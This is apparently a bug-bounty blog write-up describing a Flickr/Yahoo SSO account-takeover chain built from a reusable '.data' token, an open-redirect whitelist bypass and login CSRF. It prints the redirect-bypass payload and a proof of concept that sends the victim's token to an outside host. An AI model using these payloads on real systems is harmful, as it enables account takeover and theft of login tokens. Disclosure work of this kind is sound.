I have something that is worth sharing when you are testing for SSO system. Hope you can learn something new after reading this blog post.
This bug is about the old login flow of Flickr, please refer to mishre great post to learn about the importance of .data parameter. In short, whoever steal the .data value could takeover victim’s Flickr account.
Like many other bug hunters, I have multiple Yahoo! accounts, at one point, I have Account A session under *.yahoo.com, and have Account B session under *.flickr.com, which is not my intended setup. Then I luckily browse to https://www.flickr.com/login base on browsing history in URL bar. And then something interesting show up on screen.
It said, You are logging in as ngalongc, are you switching your account to ronchan5?
The reason that this page is interesting is not because its content, it is interesting because the URL of that page actually is storing the .data of user temporarily. After some validation, I confirm the .data could be reused. Like thousands of other oauth/sso write-ups, this is the point we need a open redirect and steal the URL by using referer technique.
As you can see on the image, there is a pass parameter in the URL, it turns out the pass parameter is used for URL redirection, it has some whitelist validation in place to prevent open redirect, but it could be bypassed by this payload
https://www.flickr.com/cookie_check.gne?pass=https://www.flickr.com%[email protected]/yahoo
Now we have everything, open redirect under oauth endpoint, .data in URL, .data could be reused, what is left for this exploit to work for all user?
Victim needs to have exact same scenario as attacker, which is, they have account A authenticated in *.yahoo.com, and account B authenticated in *.flickr.com.
As this scenario is not that common for normal user, this would drastically decrease the security impact of this bug. As learned from OSCP, we will try harder, we will find a workaround to make it work across all user.
I kept observing the login flow, finally I notice one simple fact that could turn this bug works universally. Flickr is vulnerable to Login CSRF.
With this new knowledge, we can first, force victim to login our flickr account while keeping victim’s yahoo session intact, then send the exploit payload to victim have their payload stolen by using the open redirect.
PoC in action
<img src="https://www.flickr.com/signin/yahoo/?.data={attacker_data_here}&.ys="> location.href="https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3D%2fcookie_check.gne%3Fpass%3Dhttps%3A%2f%2fwww.flickr.com%2525%2532%2535%2532%2566%2540hackerone.com%252Fyahoo&.crumb=";
Image tag is responsible for login csrf in one get request, and then user is redirected to flickr with my open redirect parameter. Once the user is redirected, his .data will be leaked to hackerone.com
Main Takeaway
Try to re-login the different session when you encounter any SSO, maybe the oauth code or authentication token or something unexpected will be stored in the URL, if so, try to steal it with open redirect.